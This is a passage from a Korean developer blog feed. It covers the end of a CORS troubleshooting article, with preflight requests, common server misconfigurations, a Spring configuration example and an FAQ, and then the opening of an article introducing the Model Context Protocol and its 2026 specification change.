&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;application/json&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저는 요청의 &lt;code class=&quot;language-text&quot;&gt;Origin&lt;/code&gt; 헤더와 이 값을 비교해서, 맞으면 응답을 스크립트에 넘깁니다. &lt;strong&gt;없으면 응답을 버립니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;핵심은 &lt;strong&gt;이걸 붙이는 주체가 서버&lt;/strong&gt;라는 점입니다. 프론트엔드 코드로는 고칠 수 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Preflight — 요청이 왜 두 번 가나&lt;/h2&gt;
&lt;p&gt;네트워크 탭에 &lt;code class=&quot;language-text&quot;&gt;OPTIONS&lt;/code&gt; 요청이 하나 더 찍혀서 당황하신 적 있을 겁니다. 이게 &lt;strong&gt;사전 요청(preflight)&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;p&gt;브라우저는 &quot;부작용이 있을 수 있는&quot; 요청을 보내기 전에, 먼저 물어봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token request-line&quot;&gt;&lt;span class=&quot;token method property&quot;&gt;OPTIONS&lt;/span&gt; &lt;span class=&quot;token request-target url&quot;&gt;/users&lt;/span&gt; &lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;https://app.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Request-Method&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;POST&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Request-Headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;authorization, content-type&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서버가 허용하면 이렇게 답합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token response-status&quot;&gt;&lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt; &lt;span class=&quot;token status-code number&quot;&gt;204&lt;/span&gt; &lt;span class=&quot;token reason-phrase string&quot;&gt;No Content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;https://app.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;GET, POST, PUT, DELETE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;authorization, content-type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Max-Age&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;3600&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그다음에야 진짜 &lt;code class=&quot;language-text&quot;&gt;POST /users&lt;/code&gt; 가 나갑니다. &lt;strong&gt;허용 안 되면 본 요청은 아예 보내지 않습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;언제 preflight가 붙나&lt;/h3&gt;
&lt;p&gt;아래 조건을 &lt;strong&gt;전부&lt;/strong&gt; 만족하면 단순 요청이라 preflight 없이 바로 갑니다. 하나라도 벗어나면 붙습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;단순 요청 조건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;메서드&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;HEAD&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Content-Type&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;text/plain&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;multipart/form-data&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;application/x-www-form-urlencoded&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스텀 헤더&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;즉 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;Content-Type: application/json&lt;/code&gt; 하나만 붙어도 preflight가 붙습니다.&lt;/strong&gt; 요즘 API는 사실상 전부 걸린다고 보시면 됩니다. &lt;code class=&quot;language-text&quot;&gt;Authorization&lt;/code&gt; 헤더도 마찬가지입니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Access-Control-Max-Age&lt;/code&gt;를 주면 브라우저가 그 시간만큼 preflight 결과를 캐시합니다. 안 주면 &lt;strong&gt;요청마다 왕복이 두 번&lt;/strong&gt;이라 그대로 지연이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실무에서 반복해서 걸리는 5가지&lt;/h2&gt;
&lt;p&gt;여기가 이 글의 핵심입니다. 원리를 알아도 아래에서 막힙니다.&lt;/p&gt;
&lt;h3&gt;1. 인증 필터가 OPTIONS를 401로 막는다&lt;/h3&gt;
&lt;p&gt;가장 흔합니다. preflight의 &lt;code class=&quot;language-text&quot;&gt;OPTIONS&lt;/code&gt; 요청에는 &lt;strong&gt;토큰이 실려 있지 않습니다.&lt;/strong&gt; 그런데 인증 필터가 모든 요청을 검사하면 401을 던지고, 브라우저는 &quot;preflight 실패&quot;로 판단해 본 요청을 아예 안 보냅니다.&lt;/p&gt;
&lt;p&gt;증상이 고약합니다 — &lt;strong&gt;콘솔에는 CORS 에러가 뜨는데 진짜 원인은 인증 설정&lt;/strong&gt;입니다. &lt;code class=&quot;language-text&quot;&gt;OPTIONS&lt;/code&gt;는 인증에서 제외하세요.&lt;/p&gt;
&lt;h3&gt;2. 와일드카드와 쿠키를 같이 못 쓴다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;include&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 쿠키를 실어 보냄&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 경우 서버가 &lt;code class=&quot;language-text&quot;&gt;Access-Control-Allow-Origin: *&lt;/code&gt; 을 주면 &lt;strong&gt;브라우저가 거부합니다.&lt;/strong&gt; 스펙상 금지입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;https://app.example.com   ← 구체적인 출처&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;출처를 명시하고 &lt;code class=&quot;language-text&quot;&gt;Allow-Credentials: true&lt;/code&gt; 를 같이 줘야 합니다. 그래서 쿠키를 쓰는 서비스는 &lt;strong&gt;허용 출처 목록을 관리&lt;/strong&gt;해야 합니다.&lt;/p&gt;
&lt;h3&gt;3. 에러 응답에 CORS 헤더가 안 붙는다&lt;/h3&gt;
&lt;p&gt;서버가 500을 던질 때 예외 핸들러가 CORS 헤더를 안 붙이는 경우가 많습니다. 그러면 브라우저에는 &lt;strong&gt;500이 아니라 CORS 에러로 보입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;원인이 통째로 가려지는 케이스입니다. 진짜 문제는 서버 오류인데 CORS 설정만 계속 만지게 됩니다. 헤더는 &lt;strong&gt;에러 응답에도&lt;/strong&gt; 붙어야 합니다.&lt;/p&gt;
&lt;h3&gt;4. 커스텀 헤더를 Allow-Headers에 안 넣는다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Authorization&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;X-Request-Id&lt;/code&gt; 같은 헤더를 보내려면 서버가 &lt;code class=&quot;language-text&quot;&gt;Access-Control-Allow-Headers&lt;/code&gt;에 &lt;strong&gt;그 이름을 명시&lt;/strong&gt;해야 합니다. 요청에는 있는데 허용 목록에 없으면 preflight에서 막힙니다.&lt;/p&gt;
&lt;p&gt;반대로 &lt;strong&gt;응답 헤더를 JS에서 읽으려면&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;Access-Control-Expose-Headers&lt;/code&gt;가 필요합니다. 페이징 정보를 커스텀 헤더로 내려주는데 프론트에서 &lt;code class=&quot;language-text&quot;&gt;undefined&lt;/code&gt;가 나온다면 이겁니다.&lt;/p&gt;
&lt;h3&gt;5. 게이트웨이와 애플리케이션이 헤더를 중복으로 붙인다&lt;/h3&gt;
&lt;p&gt;Nginx·API 게이트웨이에서 CORS를 설정해 놓고 애플리케이션에서도 설정하면, &lt;code class=&quot;language-text&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt;이 &lt;strong&gt;두 번&lt;/strong&gt; 붙습니다. 브라우저는 값이 여러 개인 걸 허용하지 않아서 그대로 실패합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;한 군데에서만 처리하세요.&lt;/strong&gt; 보통은 게이트웨이가 낫습니다 — 서비스마다 중복 설정할 필요가 없어집니다. 게이트웨이가 앞단에서 어떤 일을 처리하는지는 &lt;a href=&quot;/api-gateway-guide/&quot;&gt;API 게이트웨이가 하는 일&lt;/a&gt;에 정리해 뒀습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;프론트엔드에서는 고칠 수 없다&lt;/h2&gt;
&lt;p&gt;허용 헤더를 붙이는 건 서버이므로, 프론트 코드로는 해결이 안 됩니다. 상황별로 이렇게 갑니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;로컬 개발&lt;/td&gt;
&lt;td&gt;dev server proxy (Vite &lt;code class=&quot;language-text&quot;&gt;server.proxy&lt;/code&gt;, Next.js &lt;code class=&quot;language-text&quot;&gt;rewrites&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;운영&lt;/td&gt;
&lt;td&gt;서버 또는 게이트웨이에서 허용 출처 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버를 못 건드림&lt;/td&gt;
&lt;td&gt;우리 쪽 백엔드에 중계 엔드포인트를 둠&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;크롬을 &lt;code class=&quot;language-text&quot;&gt;--disable-web-security&lt;/code&gt; 로 띄우는 방법은 쓰지 마세요.&lt;/strong&gt; 당장은 되지만 문제를 미루는 것이고, 그 상태로 개발하면 운영에서 그대로 터집니다.&lt;/p&gt;
&lt;h3&gt;Spring 설정 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CorsConfig&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;WebMvcConfigurer&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;addCorsMappings&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;CorsRegistry&lt;/span&gt; registry&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        registry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addMapping&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/api/**&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allowedOrigins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://app.example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// * 아님 — 쿠키 쓰면 필수&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allowedMethods&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PUT&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DELETE&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allowedHeaders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exposedHeaders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;X-Total-Count&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allowCredentials&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;maxAge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                              &lt;span class=&quot;token comment&quot;&gt;// preflight 캐시&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Spring Security를 쓰신다면 &lt;strong&gt;시큐리티 필터 체인에도 CORS를 등록&lt;/strong&gt;해야 합니다. &lt;code class=&quot;language-text&quot;&gt;WebMvcConfigurer&lt;/code&gt;만 설정하면 필터 단계에서 먼저 막혀서 앞의 1번 증상이 그대로 납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 것&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. CORS는 보안 기능인가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;정확히는 &lt;strong&gt;보안을 완화하는&lt;/strong&gt; 규약입니다. 브라우저의 기본값이 차단이고, CORS는 서버가 예외를 선언하는 방법입니다. 그래서 CORS를 열어 뒀다고 API가 안전해지는 게 아니고, 닫아 뒀다고 안전해지는 것도 아닙니다. &lt;strong&gt;인가는 서버에서 따로 해야 합니다&lt;/strong&gt; — CORS는 브라우저 밖의 호출(스크립트, 서버 간 통신)을 전혀 막지 못합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 그냥 &lt;code class=&quot;language-text&quot;&gt;*&lt;/code&gt; 로 다 열면 안 되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;공개 API라면 괜찮습니다. 다만 쿠키·세션을 쓰는 API에는 스펙상 불가능하고, 그 경우 &lt;code class=&quot;language-text&quot;&gt;*&lt;/code&gt; 는 &quot;아무 사이트나 사용자의 인증 정보로 내 API를 호출해도 된다&quot;는 뜻이 되므로 열면 안 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. preflight를 없앨 수 있나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Content-Type&lt;/code&gt;을 단순 요청 범위로 낮추면 사라지지만, JSON API에서는 현실적이지 않습니다. 대신 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;Access-Control-Max-Age&lt;/code&gt;로 캐시&lt;/strong&gt;하는 게 정석입니다. 브라우저별 상한이 있어 무한정 늘어나진 않지만, 요청마다 왕복하는 것보다는 훨씬 낫습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CORS 에러는 &lt;strong&gt;서버가 거부한 게 아니라 브라우저가 응답을 안 넘겨준 것&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;요청은 서버까지 갔고 처리도 됐습니다 — Postman이 되는 이유가 이것입니다&lt;/li&gt;
&lt;li&gt;브라우저 기본값은 &lt;strong&gt;차단&lt;/strong&gt;이고, CORS는 서버가 여는 방법입니다&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Content-Type: application/json&lt;/code&gt; 하나만으로도 &lt;strong&gt;preflight가 붙습니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;제일 흔한 함정은 &lt;strong&gt;인증 필터가 OPTIONS를 막는 것&lt;/strong&gt; — 콘솔에는 CORS 에러로 보입니다&lt;/li&gt;
&lt;li&gt;에러 응답에도 CORS 헤더를 붙여야 진짜 원인이 드러납니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CORS 때문에 오래 헤매신 적 있으신가요? 어떤 경우였는지 댓글로 남겨 주시면 사례를 모아 정리해 보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[MCP(Model Context Protocol)란? — 구조부터 2026 스펙 대전환까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "MCP 서버 붙이면 된다는데, 그 MCP가 정확히 뭔가요?" Claude Code를 쓰든 Cursor를 쓰든 한 번쯤 마주치는 단어입니다. 그런데 검색해 보면 "AI의 USB-C…]]></description><link>https://blog.javapark.kr/mcp-model-context-protocol/</link><guid isPermaLink="false">https://blog.javapark.kr/mcp-model-context-protocol/</guid><pubDate>Mon, 17 Aug 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/e279336a51a53b2d11d195185f00ea69/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACP0lEQVR42j2RWW/aQBSFLaXY43EIODbeNxwvYIMBs4Q1dSHEbkgIhBAITZqmJVLapzxUfarUv96hVSsdje4dzXfP6B6MYGVKt5hCiXZ82vKytkdpFrokcjKQDOB4oNYk+xGMz+F8Qd3fU9st9fSZWt/ByyuMYKWUYcFqAwYhc9yX3o4y5RrOSjtYRrAPwtYOTs7h4ob6+Ei9vFDPz9TdBzidYejd+tP2x89fX1+/+80uRqRThwLOiDgtELwKbI+sNsjeCTlO4NUcrjc7/v4BLldwcomlGGmy3Dx9e108fCl3o5xZpPMuaRWh66MTmC4o18jjHhmNYDKBsznyh9c36M9wnGCAMyr9uBcvKv1kutnG8019MmOXS/F2xcTvCdUEbmln3ukjnjxLdiOSCXkak4MIO5B9xW2rbld1O8JRIyt5vFVljSJnFLKy+YYVce0Id3yiUgetLt4ZgEGEMLI7IJttLKuEfDg2hgu1N+XCsRZdZZ0Gb1dp06MUM2eXGDfIBXU6aKSrDb59kg7baP8AzfIqGKN3tObUjx+tk5Vcv3CHt2yhp5f7YrGe1mzZr4nFiuSHbCHIuCW53tkvBgSKwPKA4WCCNRTyI04bCcapkH/HyB1WPU6LASU4gNP3aP6vUmj/vLrHq7hk4JKOixrBqZhkx7o3M4Ol4V8r7oXknHHmgNGbGaVMCRbgVMApSCj2XfJ/6n3JgIKGWkxxJk71zm892cFGdWeSnfBmxOitjILMbeIf9l+AVw/z7oF6hOrfH3xneqrr9MEAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/e279336a51a53b2d11d195185f00ea69/a1b3b/thumbnail.webp 215w,
/static/e279336a51a53b2d11d195185f00ea69/fc700/thumbnail.webp 430w,
/static/e279336a51a53b2d11d195185f00ea69/521f7/thumbnail.webp 860w,
/static/e279336a51a53b2d11d195185f00ea69/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/e279336a51a53b2d11d195185f00ea69/f7886/thumbnail.png 215w,
/static/e279336a51a53b2d11d195185f00ea69/bc750/thumbnail.png 430w,
/static/e279336a51a53b2d11d195185f00ea69/3e3fe/thumbnail.png 860w,
/static/e279336a51a53b2d11d195185f00ea69/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/e279336a51a53b2d11d195185f00ea69/3e3fe/thumbnail.png&apos; alt=&apos;MCP Model Context Protocol 구조 커버 — 호스트 안의 여러 클라이언트가 각각 하나의 서버에 연결되는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;MCP Model Context Protocol 구조 커버 — 호스트 안의 여러 클라이언트가 각각 하나의 서버에 연결되는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;MCP 서버 붙이면 된다는데, 그 MCP가 정확히 뭔가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code를 쓰든 Cursor를 쓰든 한 번쯤 마주치는 단어입니다. 그런데 검색해 보면 &quot;AI의 USB-C&quot;라는 비유만 반복되고, 정작 &lt;strong&gt;무엇이 오가는지&lt;/strong&gt;는 잘 안 나옵니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;MCP는 AI 모델에게 도구와 데이터를 물려주는 방식을 표준화한 개방형 프로토콜입니다.&lt;/strong&gt; JSON-RPC 위에서 동작하고, Anthropic이 2024년 11월에 공개한 뒤 지금은 Linux Foundation 산하에서 관리됩니다.&lt;/p&gt;
&lt;p&gt;그리고 한 가지 더 말씀드려야 합니다. &lt;strong&gt;2026년 7월 28일, MCP는 태어난 이래 가장 크게 바뀌었습니다.&lt;/strong&gt; 세션이 사라졌고, &lt;code class=&quot;language-text&quot;&gt;initialize&lt;/code&gt; 핸드셰이크가 없어졌습니다. 지금 검색해서 나오는 대부분의 MCP 설명글은 이 변화 이전 것입니다. 이 글은 그 변화까지 반영했습니다.&lt;/p&gt;
&lt;p&gt;연결이 어떻게 접히는지 먼저 눈으로 보고 싶으시면 &lt;strong&gt;58초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 조합마다 이어져 엉킨 9개의 선이 규격 하나로 3 + 3 으로 접히고, 마지막에 세션이 사라지는 장면까지 순서대로 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/b3aLoGZW64E&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
